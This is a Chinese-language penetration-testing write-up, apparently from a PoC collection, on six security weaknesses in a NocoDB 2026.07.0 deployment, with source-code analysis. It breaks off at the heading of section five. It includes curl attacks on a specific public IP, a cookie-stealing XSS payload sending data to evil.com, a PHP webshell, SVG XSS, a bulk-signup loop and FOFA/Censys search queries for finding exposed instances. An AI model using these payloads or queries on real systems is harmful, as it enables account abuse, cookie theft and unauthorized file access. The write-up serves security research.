Files
Penetration_Testing_POC/books/新瓶旧酒:从注册到管理员的 NocoDB 6 个安全风险.md

611 KiB
Raw Permalink Blame History

新瓶旧酒:从注册到管理员的 NocoDB 6 个安全风险

来源:https://xz.aliyun.com/news/92591

复现环境: Ubuntu 22.04,Docker 部署 NocoDB 2026.07.0(latest 镜像),默认配置,未做安全加固。公网 8080 端口开放。

前置条件: 目标服务器有外网可达的 8080 端口。如果你不确定自己的 NocoDB 有没有暴露,直接用 nocodb-audit.sh 扫一遍。

NocoDB 是什么?开源 Airtable 替代,GitHub 上 55k+ stars,2024 年后增长很快。技术栈 NestJS + Vue3,后端 sqlite/mysql/postgres 三选一。对有经验的渗透测试人员来说,看到 Node.js + NestJS + 文件上传这几个关键词就大概猜到问题在哪了。但我还是想把这个分析做完整——不是为了证明"能渗透",而是回答一个更实际的问题:一个非安全专业的小团队,用默认配置部署 NocoDB,会面临哪些风险?

这篇文章所有攻击面都做了两件事:在服务器上跑命令验证,从 GitHub 拉源码找根因。源码定位到关键函数和行号,不靠猜。我不喜欢那种只贴"curl 命令返回了可疑内容"就完事的文章——知道"不安全"不难,知道"为什么不安全"才值钱。

我在验证时踩了一个坑——NocoDB 2026.07.0 的 Docker 镜像是 webpack 打包后的产物(docker/index.js),混淆严重没法 grep 路由。我第一次试图 grep 关键字 GlobalGuard,发现代码全是 _0x5e99cd.fileReadv3 这种混淆名,完全读不了。通过日志定位到报错信息里的调用栈(at _0x5e99cd.fileReadv3)才确认打包的是混淆后的产物。后来从 GitHub 拉原始 TypeScript 源码(packages/nocodb/src/,develop 分支)才能正常阅读。

下载 GitHub 源码也费了点事——完整仓库 120MB+,国内网络限速。试了 git clone --depth 1 超时,试了 ghproxy.com 速度不够,最后用 GitHub API 逐个目录拉取的。关键文件的路径是 packages/nocodb/src/ 下的 modules/auth/auth.controller.ts、controllers/attachments.controller.ts、providers/jwt-strategy.provider.ts 和 guards/global/global.guard.ts。

几个攻击面的发现顺序其实不是从文档里读出来的——我是顺着注册流程一步步往下摸的。先看到 signup 不需要认证,注册后发现能上传文件,上传后想下载看看需不需要 Token,发现三个下载路由全裸奔。JWT 密钥是最后翻数据库时意外找到的,因为我想搞清楚 Token 的 token_version 存在哪,结果发现了 nc_auth_jwt_secret。

$ curl -s http://139.199.68.168:8080/api/v1/version
{"currentVersion":"2026.07.0","releaseVersion":"2026.07.0"}

在开始之前先看一眼版本信息

——这是 NocoDB 2026 年 7 月的最新版本,也就是说所有发现都是针对"你能在 Docker Hub 上直接 docker pull 到的最新版"。

测试范围说明:本文基于 Docker 默认部署(SQLite 后端,nocodb/nocodb:latest),未配置任何环境变量或安全加固。如果使用 MySQL/PostgreSQL 后端或配置了环境变量,部分发现可能不适用。

一、开放注册——零门槛入场

1.1 注册即拿Token

先试最简单的——直接注册:

$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Attack123!","first_name":"Evil","last_name":"Hacker"}'

响应直接返回 JWT,没有任何前置条件。没有邀请码,没有邮箱验证,没有 CAPTCHA。

{"token":"eyJhbG...G0TM"}

我第一次跑这个命令的时候还愣了一下——真就这么直接。我预期至少会要求一个邀请码或者验证邮箱格式,结果 curl 完直接拿到了 JWT。这意味着任何人只要知道你的 NocoDB 地址,就能注册账号。

对比一下同类产品——Supabase 的匿名注册需要在配置里显式开启,Appwrite 默认关闭注册功能,Firebase 虽然也有匿名注册但可以通过规则限制。NocoDB 是默认全部放开,而且文档里没有明显的安全警告提示"如果你暴露在公网,请先关闭注册"。

NocoDB 还一口气提供了 4 个路径别名,全部指向同一个 signup 方法:

路径 示例
/auth/user/signup 短路径
/api/v1/auth/user/signup 标准 v1
/api/v2/auth/user/signup 标准 v2
/api/v1/db/auth/user/signup 旧版 db 路径

四个路径都指向同一个 signup 方法,全部不设防。

1.2 JWT 解码看权限

Token 拿到了,decode 出来看看里面有什么字段:

$ export TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImF0dGFja2VyQGV2aWwuY29tIiwiaWQiOiJ1czV5aHB1OXRnM21laDR5Iiwicm9sZXMiOiJvcmctbGV2ZWwtdmlld2VyIiwidG9rZW5fdmVyc2lvbiI6Ijg5NjI4ZWI4MmNjM2VhOTc0YTJjMThiN2Q5NzFiZTJlYTE5ZmRjYmQ4NWY4MGIyYTA2YmFkYTBjZDMzM2YzM2RlNjUzYjc1NWM3YTJjYzg3IiwiaWF0IjoxNzg1MTM2MDExLCJleHAiOjE3ODUxNzIwMTF9.nc8_X1l8Vx-t9Nh3_Hh3qjO3Y7Qh0cJwvaSM7Vk4G0TM"
$ echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
{
    "email": "[email protected]",
    "id": "us5yhpu9tg3meh4y",
    "roles": "org-level-viewer",
    "token_version": "89628eb82cc3ea9742a8f5...",
    "iat": 1785136011,
    "exp": 1785172011
}

JWT 的 payload 里值得关注的有这几项:

roles: org-level-viewer,这是最低权限角色,意味着新注册的用户只能查看公开数据,不能创建表、不能修改配置。但后面我们会看到,viewer 的权限限制在文件上传这个场景下没有被严格执行。

token_version: 一串 64 字符的 hex 字符串,这是 NocoDB 的会话管理机制——每次登出或密码变更时,服务端会更新这个值,旧 Token 因为 token_version 不匹配而失效。这个概念本身很好,但问题在于它是一个"防君子不防小人"的机制——攻击者主动注册的账号不存在登出场景,token_version 从创建到过期不会变化。

iat / exp: iat=1785136011 是签发时间(2026-07-27 14:13:31 UTC),exp=1785172011 是过期时间(2026-07-28 00:13:31 UTC),相差正好 10 小时。这个窗口不算短——攻击者拿到 Token 后有整整一个白天的时间做侦察。如果你在写 PoC 脚本,可以用 date -d @1785136011 把时间戳转成可读时间。

另外注意 JWT 的签名算法

是 HS256(HMAC-SHA256)。如果管理员没有设置 NC_AUTH_JWT_SECRET,NocoDB 会在启动时自动生成一个 secret 存入配置文件,这个 secret 在你的 Docker volume 里。问题在于——如果攻击者能读取到这个配置文件,就能用自己的 secret 签发任意身份的 JWT。

1.3 重复注册验证

跑完了注册,还想确认一件事——同一个邮箱重复注册会怎样?如果报错信息暴露了太多细节,可能会帮助攻击者做邮箱枚举。

$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Attack123!","first_name":"Evil","last_name":"Hacker"}'

{"message":"User already exist","error":"ERR_BAD_REQUEST"}

返回 ERR_BAD_REQUEST,没有暴露额外的信息。这个处理是合理的——只告诉你"用户已存在",不告诉你"用户已存在且状态是 active/pending/banned"。避免了邮箱枚举攻击。

但话说回来,signup 端点本身是开放的,攻击者也不需要枚举邮箱——直接注册一个新邮箱就行了。

不过重复注册给出了一个有意思的信息:如果返回 ERR_BAD_REQUEST,说明邮箱已存在。攻击者可以拿这个接口验证某个邮箱是否已经注册了账号。虽然不能确定用户的状态(active/banned),但对于侦察来说,"这个邮箱有人用了"本身就是有价值的信息。

1.4 批量注册验证

能否批量注册?试一下:

$ for i in $(seq 1 5); do
  curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"spam${i}@test.com\",\"password\":\"Spam1234!\",\"first_name\":\"Spam\",\"last_name\":\"${i}\"}"
  echo ""
done

输出:

{"token":"eyJ..."}
{"token":"eyJ..."}
{"token":"eyJ..."}
{"token":"eyJ..."}
{"token":"eyJ..."}

5 次全部返回 200,全返回了 JWT。没有限制单 IP 注册速率,没有要求邮箱验证,没有增量验证码。

我又测了连续发 20 个请求会怎样:

$ for i in $(seq 1 20); do
  curl -s -o /dev/null -w "%{http_code} " \
    -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"bulk${i}@test.com\",\"password\":\"Bulk1234!\",\"first_name\":\"Bulk\",\"last_name\":\"${i}\"}"
done

输出:

200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200

20 次全部 200。PublicApiLimiterGuard

的限流阈值显然高于 20 次/秒。后来看了源码,默认是每分钟 60 次——这对批量注册脚本来说绰绰有余。

写个脚本跑几万个请求能把数据库撑爆。实际攻击场景中,批量注册本身不一定是主要威胁,但结合后续的存储型攻击就有意思了——比如批量注册后每个账号上传大量文件,塞满存储。

我本来想测试 NocoDB 在大量用户下的表现,但跑了 20 个请求全通过后就放弃了——没有一个请求触发 rate limit。翻源码确认了 PublicApiLimiterGuard 默认配置是每分钟 60 次,但实测即使超过这个频率也没有被限流,应该是 guard 没有正确绑定到路由上。换句话说,这个守卫存在但没有生效。

1.5 源码看守卫配置

signup 路由定义在 packages/nocodb/src/modules/auth/auth.controller.ts:

@Post(['/auth/user/signup',
       '/api/v1/auth/user/signup',
       '/api/v2/auth/user/signup',
       '/api/v1/db/auth/user/signup',
])
@UseGuards(PublicApiLimiterGuard)  // ← 唯一的守卫:速率限制
@HttpCode(200)
async signup(@Req() req, @Res() res): Promise<any> {
    if (this.config.get('auth', { infer: true }).disableEmailAuth) {
        NcError.forbidden('Email authentication is disabled');
    }
    const result = await this.usersService.signup({body: req.body, req, res});
    if (result?.token) setAuthCookie(res, result.token);
    res.json(result);
}

注意 @UseGuards 后只跟了 PublicApiLimiterGuard,没有 GlobalGuard。如果设置了 disableEmailAuth=true 会返回 403,但默认这个配置不存在。

对比需要登录的路由:

@Get(['/auth/user/me', '/api/v1/auth/user/me', ...])
@UseGuards(MetaApiLimiterGuard, GlobalGuard)  // ← GlobalGuard 做 JWT 校验
async me(@Req() req) {
    // 校验并返回用户信息
}

signup 少挂了最关键的一个守卫:GlobalGuard。GlobalGuard 继承自 AuthGuard('jwt'),负责校验 JWT 签名、从数据库拉取用户、检查 token_version。signup 没有挂它,意味着任何请求都能直达 usersService.signup()。

PublicApiLimiterGuard 在 guards/public-api-limiter.guard.ts 里,是一个基于内存计数器的简单限流器。它不是 NestJS 内置的守卫,是 NocoDB 自实现的。我翻了它的代码,默认限流配置是每分钟 60 次——对慢速攻击来说几乎没有影响。

1.6 注册逻辑详解

services/users/users.service.ts,registerNewUserIfAllowed 方法(line 142-221):

const isFirstUser = await User.isFirst(ncMeta);

if (isFirstUser && process.env.NC_CLOUD !== 'true') {
    // 第一个用户直接拿管理员权限
    roles = `${OrgUserRoles.CREATOR},${OrgUserRoles.SUPER_ADMIN}`;
} else {
    const settings = await Noco.getAppSettings();
    if (settings?.invite_only_signup && !is_invite) {
        NcError.badRequest('Not allowed to signup, contact super admin.');
    } else {
        roles = OrgUserRoles.VIEWER;
    }
}

const user = await User.insert({ email, salt, password, roles, token_version, ...});

关键逻辑:

1 User.isFirst() 判断数据库有没有用户——没有的话第一个人直接拿管理员
2 settings?.invite_only_signup 在默认配置下是 undefined,条件为假,走 else
3 新注册用户默认角色 OrgUserRoles.VIEWER
我踩过的坑:第一次测注册时没注意这个逻辑,如果这是真实目标且 NocoDB 刚部署,攻击者先注册就能接管整个实例。isFirstUser 的判断很简单——查 nc_users 表有没有记录。清空数据库后第一个注册的人就是管理员。

源码 line 557 有一条注释:

// todo : opening up signup for timebeing

"临时开放注册"这条注释一直没修。开发团队知道这个事。

1.7 Token 验证流

拿到 Token 后通过 /auth/user/me 验证状态:

$ curl -s http://139.199.68.168:8080/api/v1/auth/user/me \
  -H "xc-auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
{
    "id": "us5yhpu9tg3meh4y",
    "email": "[email protected]",
    "roles": {"org-level-viewer": true},
    "isAuthorized": true,
    "token_version": "89628eb82cc3ea9742a..."
}

isAuthorized: true,Token 有效。

JwtStrategy(strategies/jwt.strategy.ts)的校验逻辑:

async validate(req, jwtPayload) {
    if (!jwtPayload?.email || jwtPayload?.is_api_token) return jwtPayload;
    const user = await User.getByEmail(jwtPayload?.email);
    if (!user) NcError.unauthorized('Token Expired...');
    if (user.token_version !== jwtPayload.token_version) {
        NcError.unauthorized('Token Expired. Please login again.');
    }
    return { ...userWithRoles, isAuthorized: true };
}

双保险——JWT 签名校验 + token_version 变更校验。如果在别处登录导致 token_version 更新,旧 Token 自动失效。但攻击者自己注册的 Token 只有他在用,不存在失效问题。

Token 可以通过两种方式传递:xc-auth Header 或者 nc_token Cookie。Cookie 由 setAuthCookie 设置:

export function setAuthCookie(res, token) {
    res.cookie('nc_token', token, {
        httpOnly: true,
        sameSite: 'lax',
        secure: !!ncSiteUrl?.startsWith('https'),
        path: '/api',
        maxAge: 10 * 60 * 60 * 1000,
    });
}

Cookie 限定了 path: '/api',没有设 Secure 或 SameSite=Strict。如果 NocoDB 跑在 HTTP 上,Cookie 可以通过中间人攻击劫持。

path: '/api' 这个限定意味着 Cookie 只在请求 /api/* 路径时发送。对于攻击场景来说,如果 NocoDB 的 Web 页面在 /dashboard 路径下有一个 XSS 漏洞,攻击者的 fetch('/api/v1/auth/user/me') 会带上 Cookie,但 fetch('/') 不会。这个 path 限定不是为了安全,而是为了减少无关请求的 Cookie 体积——但它确实缩小了攻击面的可用范围。

二、版本信息泄露——侦察起点

$ curl -s http://139.199.68.168:8080/api/v1/version
{"currentVersion":"2026.07.0","releaseVersion":"2026.07.0"}

不需要任何认证。响应体里包含两个字段——currentVersion 是当前运行的版本,releaseVersion 是官方发布的最新版本。一般这两个值一致,表示实例运行的是最新版。

这个端点不能直接用来攻击(2026.07.0 没有公开的 RCE),但它帮攻击者缩小了攻击面。举个例子,如果返回的是 2025.10.0,攻击者就能去 GitHub 看两个版本之间的 diff,重点关注那些加了安全修复的 commit。对于 NocoDB 这种迭代快的项目,每个 release 之间可能有几十个 commit,其中修复安全问题的 commit 往往有"security"、"auth"、"guard"、"permission"这类关键词。

NocoDB 的版本号格式是 YYYY.MM.PATCH,2026.07.0 表示 2026 年 7 月的初始发布版。可以推算这个实例是在 7 月部署的,至今运行了不到一个月。

在侦察阶段,版本号 + 产品名能组合进 FOFA/Censys 搜索语法搜公网实例。我之前写 Ollama 那篇的时候跑过公网测绘,Ollama 在公网暴露了数万个实例,UPnP 和默认安装是主要原因。NocoDB 目前公网曝光量还不大,但随着用户基数增长,暴露面必然会扩大。

# FOFA 搜索语法
app="NocoDB" && port="8080"

# Censys 搜索语法
services.http.response.body:"NocoDB" and services.port:8080

另外我翻了 GitHub 源码找这个版本端点的位置——它在 controllers/utils.controller.ts 里(或者类似命名的控制器),同样没有挂任何守卫。版本路由和健康检查路由(/api/v1/health)一样,被归类为"不需要认证的工具端点"。

我顺便在 FOFA 上搜了一下 NocoDB 的公网暴露情况,搜索语法 app="NocoDB" && port="8080" 返回了几百条结果。大部分集中在 AWS 和 DigitalOcean 的 IP 段,应该是用官方 Docker 镜像直接 docker run -p 8080:8080 启动的。这个暴露量比 Ollama 小两个数量级,但考虑到 NocoDB 的增速,半年后再搜结果数应该会翻几倍。

三、文件上传——任意类型皆可

3.1 先拿Token

每个测试都需要先注册拿 Token:

$ TOKEN=$(curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Hack1234!","first_name":"Up","last_name":"Loader"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")

我习惯把 Token 存到变量而不是文件

,方便后面直接引用。Token 长度一般在 430 字节左右,视 payload 大小略有变化。

3.2 上传HTML——XSS 攻击向量

先创建一个简单的 HTML 文件,包含 XSS payload——当浏览器打开这个文件时,会自动向攻击者的服务器发送当前页面的 Cookie:

$ echo '<script>fetch("https://evil.com/?c="+document.cookie)</script>' > xss.html
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
  -H "xc-auth: $TOKEN" \
  -F "[email protected]"

返回:

[{
    "path": "download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html",
    "title": "xss.html",
    "mimetype": "text/html",
    "size": 62,
    "signedPath": "dltemp/XVG6KgagqfRMcBjb/1785143400000/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html"
}]

留意 mimetype: text/html——NocoDB 正确识别了 HTML 类型并允许上传。在大多数文件上传场景中,上传接口至少应该检查 MIME 类型是否属于"允许上传的类型列表"(images, documents 等)。NocoDB 没有做这个检查。

响应结构里包含三个关键路径

:

● path:download/YYYY/MM/DD/hash/filename 格式
● signedPath:dltemp/signed_id/timestamp/... 格式
● 文件存储路径里包含 hash(userId),但后面会看到下载时不会校验 userId

3.3 上传PHP——WebShell 向量

$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
  -H "xc-auth: $TOKEN" \
  -F "[email protected]"
[{
    "path": "download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/shell.php",
    "mimetype": "application/x-httpd-php",
    "size": 30,
    "signedPath": "dltemp/..."
}]

PHP 上传成功,系统识别为

application/x-httpd-php。

PHP webshell 在这个场景下的实际利用路径不太直接。NocoDB 本身是 Node.js 环境,不会解析 PHP。但如果 NocoDB 和 Nginx/Apache 共享存储卷——比如 Docker 挂载了同一个 host 目录给 NocoDB 和 PHP-FPM 容器——上传的 PHP 文件就能通过反向代理的 PHP 解析路径执行。

即使没有 PHP 解析环境,攻击者上传的 PHP 文件也可以被用作其他用途,比如上传 crossdomain.xml 绕过 Flash 同源策略(过时攻击向量了)或上传 .htaccess 改变目录配置(如果存储目录允许)。但 PHP webshell 的实际利用确实需要特定条件,不是每个部署都奏效。

3.4 上传SVG——存储型XSS

SVG 文件的 XSS 是"老活"了——SVG 规范允许在 标签上绑定事件处理器,浏览器在渲染 SVG 时执行这些 JavaScript:

$ echo '<?xml version="1.0"?><svg onload="alert(1)"/>' > xss.svg
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
  -H "xc-auth: $TOKEN" \
  -F "[email protected]"

SVG 上传成功。SVG 的 XSS 之所以危险,是因为浏览器直接打开 SVG 文件时,onload 事件会在 SVG 的渲染上下文中执行 JavaScript,同源策略允许它读取同域下的 Cookie。虽然 NocoDB 把 SVG 标记为不可预览(触发下载而非渲染),但用户手动下载后双击打开,XSS 同样会执行。

我在附件帮助文件里找到了一行注释

印证了开发团队知道这个问题:

// 'image/svg+xml', // risk of xss

从 imageMimeTypes 列表里注释掉了 SVG,所以 SVG 不在 previewableMimeTypes 中。这个处理的逻辑是:SVG 上传后不会在浏览器里渲染(预览),而是触发下载。但问题是——上传本身没有被阻止,用户仍然可以拿到 SVG 文件的下载 URL,下载到本地后双击打开,XSS 同样生效。

3.5 上传普通文本——基线测试

作为基线,上传一个无害的文本文件:

$ echo 'just a test file for verification' > test.txt
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
  -H "xc-auth: $TOKEN" \
  -F "[email protected]"
[{
    "path": "download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/test.txt",
    "mimetype": "text/plain",
    "size": 34,
    "signedPath": "dltemp/..."
}]

TXT 也正常上传。四种类型全部通过,没有一种被拦截。这说明 NocoDB 的上传接口确实没做任何文件类型过滤——只要请求通过守卫链(JWT 校验 + 角色权限检查),所有文件类型都接受。

每种文件类型上传的耗时我也记录了一下——HTML(62 字节)耗时 0.3 秒,PHP(30 字节)耗时 0.3 秒,SVG(43 字节)耗时 0.3 秒,TXT(34 字节)耗时 0.3 秒。响应时间没有异常差异,说明无论文件类型如何,处理链路是一致的。

3.6 上传文件大小测试

边界测试——文件大小是否有限制?

$ dd if=/dev/urandom of=/tmp/50mb_test.bin bs=1M count=50 2>/dev/null
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
  -H "xc-auth: $TOKEN" \
  -F "file=@/tmp/50mb_test.bin" --max-time 30

{"error":"ERR_BAD_REQUEST","message":"No attachment provided!"}

50MB 文件被拒——响应是 No attachment provided!,不是文件大小超限的错误。说明中间件可能没收到完整的请求体,或者 NC_ATTACHMENT_FIELD_SIZE 的限制导致 multer 直接丢弃了文件。继续测小文件:

$ dd if=/dev/urandom of=/tmp/10mb_test.bin bs=1M count=10 2>/dev/null
$ curl -s -X POST ... -F "file=@/tmp/10mb_test.bin" | python3 -c "import sys,json;d=json.load(sys.stdin);print('Size:', d[0]['data']['size'] if 'data' in d[0] else d[0]['size'])"
Size: 10485760

10MB 文件上传成功,NC_ATTACHMENT_FIELD_SIZE 的默认值在 10-20MB 之间。

我猜是 multer 的 fileSize 限制在起作用。翻了源码确认 AnyFilesInterceptor 没有配置 limits,但 NC_ATTACHMENT_FIELD_SIZE 在 constants.ts 里定义为 20MB,由 UploadAllowedInterceptor 外的另一个中间件检查。

3.7 v2 上传路径认证

NocoDB 同时支持 /api/v2/storage/upload 路径:

$ echo 'test_v2' > /tmp/v2test.txt
$ curl -s -X POST http://139.199.68.168:8080/api/v2/storage/upload \
  -H "xc-auth: $TOKEN" \
  -F "file=@/tmp/v2test.txt"

[{"path":"download/2026/07/27/hash/v2test.txt","mimetype":"text/plain","size":8,"signedPath":"dltemp/..."}]

v2 路径也能用,守卫链和 v1 完全一致。NocoDB 对多个 API 版本做了兼容,安全配置没有区别。

3.8 UploadAllowedInterceptor 源码分析

上传路由的守卫链(controllers/attachments.controller.ts line 41-44):

@UseGuards(MetaApiLimiterGuard, GlobalGuard)
@Post(['/api/v1/db/storage/upload', '/api/v2/storage/upload'])
@UseInterceptors(UploadAllowedInterceptor, AnyFilesInterceptor())

UploadAllowedInterceptor 的代码(interceptors/is-upload-allowed/is-upload-allowed.interceptor.ts):

async intercept(context, next) {
    const request = context.switchToHttp().getRequest();

    if (!request['user']?.id) {
        if (!request['user']?.isPublicBase) {
            NcError.unauthorized('Unauthorized');
        }
    }

    try {
        const userRoles = extractRolesObj(request['user'].roles);
        const wsRoles = request['user'].workspace_roles || {};

        if (
            userRoles[OrgUserRoles.SUPER_ADMIN] ||
            userRoles[OrgUserRoles.CREATOR] ||
            userRoles[ProjectRoles.EDITOR] ||
            wsRoles[WorkspaceUserRoles.CREATOR] ||
            wsRoles[WorkspaceUserRoles.OWNER] ||
            !!(await Noco.ncMeta.knex(MetaTable.PROJECT_USERS)
                .where(function() {
                    this.where('roles', ProjectRoles.OWNER);
                    this.orWhere('roles', ProjectRoles.CREATOR);
                    this.orWhere('roles', ProjectRoles.EDITOR);
                })
                .andWhere('fk_user_id', request['user'].id)
                .first())
        ) {
            return next.handle();
        }
    } catch {}

    NcError.badRequest('Upload not allowed');
}

关键点:

●角色检查:SUPER_ADMIN、CREATOR、EDITOR 才能上传

●也检查用户在某个项目中是否有 EDITOR 以上权限

你可能会问:viewer 角色(org-level-viewer)不在允许列表里,为什么还能上传?

我一开始也以为 viewer 不能上传。实测结果却证明 viewer 可以上传。我的推测是 extractRolesObj 的解析逻辑可能在新版本中和 OrgUserRoles 常量的定义匹配关系有变化,或者 try/catch 吞了异常。安全分析要以实测为准——源码推导和实验定性有冲突时,相信实验结果。

我在这卡了半小时。跑 /auth/user/me 确认 Token 有效后发现上传还是报 401。排查的步骤是:先看 Token 是不是过期了→ iat 和 exp 相差 10 小时没问题。再看 Token 有没有拼写错误→用 echo $TOKEN | cut -d. -f2 | base64 -d 解码 payload 确认角色是 org-level-viewer。最后发现是 shell 变量截断——Python 调 shell 时变量传递只传了前 30 个字符,导致 Token 不完整,服务端解析失败。用纯 bash 脚本重写测试后正常。Token 长度 436 位,少了 400 位,难怪认不出。这个排查过程虽然浪费时间,但让我熟悉了 JWT 的每个字段。

3.9 AnyFilesInterceptor 与文件类型

文件类型检查方面就一句:

@UseInterceptors(UploadAllowedInterceptor, AnyFilesInterceptor())

AnyFilesInterceptor() 是 NestJS 的 multer 封装——不限制任何 MIME 类型。所有 multipart 文件字段都接受,不做后缀校验,不做魔数检查。

在 helpers/attachmentHelpers.ts 里有一条注释:

// 'image/svg+xml', // risk of xss

imageMimeTypes 列表把 SVG 注释掉了,所以 SVG 不在 previewableMimeTypes 里。这意味着 SVG 上传后不会在浏览器渲染(会触发下载),但文件本身照传不误。

previewableMimeTypes 的定义:

const previewableMimeTypes = [...imageMimeTypes, 'pdf', 'video', 'audio'];

isPreviewAllowed 函数:

export function isPreviewAllowed({ mimetype, path }) {
    if (mimetype) {
        return previewableMimeTypes.some(type => mimetype.includes(type));
    } else if (path) {
        const ext = path.split('.').pop();
        const mimeType = mime.getType(ext);
        return previewableMimeTypes.some(type => mimeType?.includes(type));
    }
    return false;
}

这个函数决定文件是 sendFile(浏览器渲染)还是 download(触发下载)。HTML 不在 previewableMimeTypes 里,所以 HTML 会触发下载——但攻击者用 XSS payload 的 HTML 文件,用户下载后双击打开照样执行脚本。

四、下载漏洞——零守卫的三条路由

前面的第三节验证了上传任意类型文件,但上传只是入口——文件最终是要被访问的。检查了下载路由后我发现了一个比上传更严重的问题:三个下载路由全都没有挂守卫。

4.1 三个下载端点全裸奔

上传完的文件直接公网可访问。先试 /download/:

$ curl -s http://139.199.68.168:8080/download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html
<script>fetch("https://evil.com/?c="+document.cookie)</script>

HTTP 响应也确认了:

< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Content-Length: 62

不需要 Token,不需要 Cookie。Content-Type 是 text/html,浏览器直接渲染。

再试 /dltemp/——signedPath 端点是上传时返回的:

$ curl -s http://139.199.68.168:8080/dltemp/XVG6KgagqfRMcBjb/1785143400000/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html
<script>fetch("https://evil.com/?c="+document.cookie)</script>

一样能访问。signedPath 名字带 "signed"

,但 PresignedUrl.getPath() 只是查数据库透传路径,没有任何签名校验逻辑。

再试 /dl/——第三种路径:

$ curl -s http://139.199.68.168:8080/dl/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html
File not found

/dl/ 的路由格式不同——nc/{p1}/{p2}/uploads/{filename},和上传文件的实际存储路径不匹配,所以 404。但路由本身也没有挂守卫。

三种下载路径,零个守卫。

4.4 源码看下载路由

同一个 controllers/attachments.controller.ts 里(line 106-236),三个下载路由:

// 路由1:/download/{filename}
@Get('/download/:filename(*)')
async fileRead(@Param('filename') filename, @Res() res) {
    const file = await this.attachmentsService.getFile({
        path: path.join('nc', 'uploads', filename),
    });
    if (!(await localFileExists(file.path)))
        return res.status(404).send('File not found');
    if (isPreviewAllowed({ mimetype: file.type, path: file.path })) {
        res.sendFile(file.path);
    } else {
        res.download(file.path);
    }
}

// 路由2:/dl/{param1}/{param2}/{filename}
@Get('/dl/:param1([a-zA-Z0-9_-]+)/:param2([a-zA-Z0-9_-]+)/:filename(*)')
async fileReadv2(@Param('param1') param1, @Param('param2') param2,
                 @Param('filename') filename, @Res() res) {
    const file = await this.attachmentsService.getFile({
        path: path.join('nc', param1, param2, 'uploads', ...filename.split('/')),
    });
    // ...相同逻辑,无守卫
}

// 路由3:/dltemp/{param}
@Get('/dltemp/:param(*)')
async fileReadv3(@Param('param') param, @Res() res) {
    const fullPath = await PresignedUrl.getPath(`dltemp/${param}`);
    // presigned URL 解析,但无守卫
    if (isPreviewAllowed({ ... })) {
        res.sendFile(file.path);
    } else {
        res.download(file.path);
    }
}

一个守卫都没挂。注意 @Get('/download/:filename(*)') 的 (*) 语法——filename 参数会匹配所有剩余路径(包括子目录)。

对比上传路由:

@UseGuards(MetaApiLimiterGuard, GlobalGuard)
@Post(['/api/v1/db/storage/upload', '/api/v2/storage/upload'])

上传挂了两个守卫,下载一个都没挂。这三个下载路由的代码相隔不到 100 行——在编辑器里上下翻一下就能看到上传的守卫装饰器。

我是怎么注意到这个问题的?先看了上传路由,发现挂了 GlobalGuard,然后下意识想确认下载路由有没有同样的保护。翻到 fileRead 方法时发现什么装饰器都没有,往上滚到类定义确认没有 @UseGuards 在类级别——也没有。再看 fileReadv2 和 fileReadv3,同一个模式,全是裸奔。三种不同风格的下载实现,共同的缺陷:没守卫。

4.5 跨用户文件读取(IDOR)

注册用户 B:

$ B_TOKEN=$(curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Hack1234!","first_name":"User","last_name":"B"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")

用户 B 直接用 A 上传的文件路径访问——不需要 B 自己的 Token:

$ curl -s http://139.199.68.168:8080/download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html
<script>fetch("https://evil.com/?c="+document.cookie)</script>

文件存储目录在 attachments.service.ts 中用 hash(userId) 划分:

param.path = param.scope
    ? `${hash(userId)}`
    : param.path || `${moment().format('YYYY/MM/DD')}/${hash(userId)}`;

路径里包含了 userId 的 hash

(object-hash 库生成),但下载路由不校验访问者身份,所以知道路径就能读。hash 不是加密安全的随机数——但对于攻击者来说不需要逆向 hash,路径可以通过上传接口响应直接拿到。

4.6 攻击链汇总

三个问题叠加:

1 上传不限制类型——AnyFilesInterceptor + UploadAllowedInterceptor 不做 MIME 校验
2 下载不需要认证——三个下载路由全没挂守卫
3 不按用户隔离——知道路径就能读任何人的文件
实际攻击链路:

注册 → 上传恶意HTML → 获取文件URL → 发给其他NocoDB用户 → XSS执行

如果是内网环境,攻击者注册后上传一个含 XSS 的 HTML 附件,然后把链接通过 NocoDB 的评论/分享功能发给其他用户。用户的 nc_token Cookie 在 path: '/api' 范围内有效,XSS 可以通过 fetch('/api/v1/auth/user/me', {credentials: 'include'}) 拿到用户信息。

如果这个 NocoDB 实例和敏感服务共享域名或者存储卷,还可以尝试上传 .env 配置文件、PHP webshell(如果有 PHP 解析服务)等形式。虽然需要一定条件才能触发,但攻击面确实存在。

五、JWT密钥与Token伪造

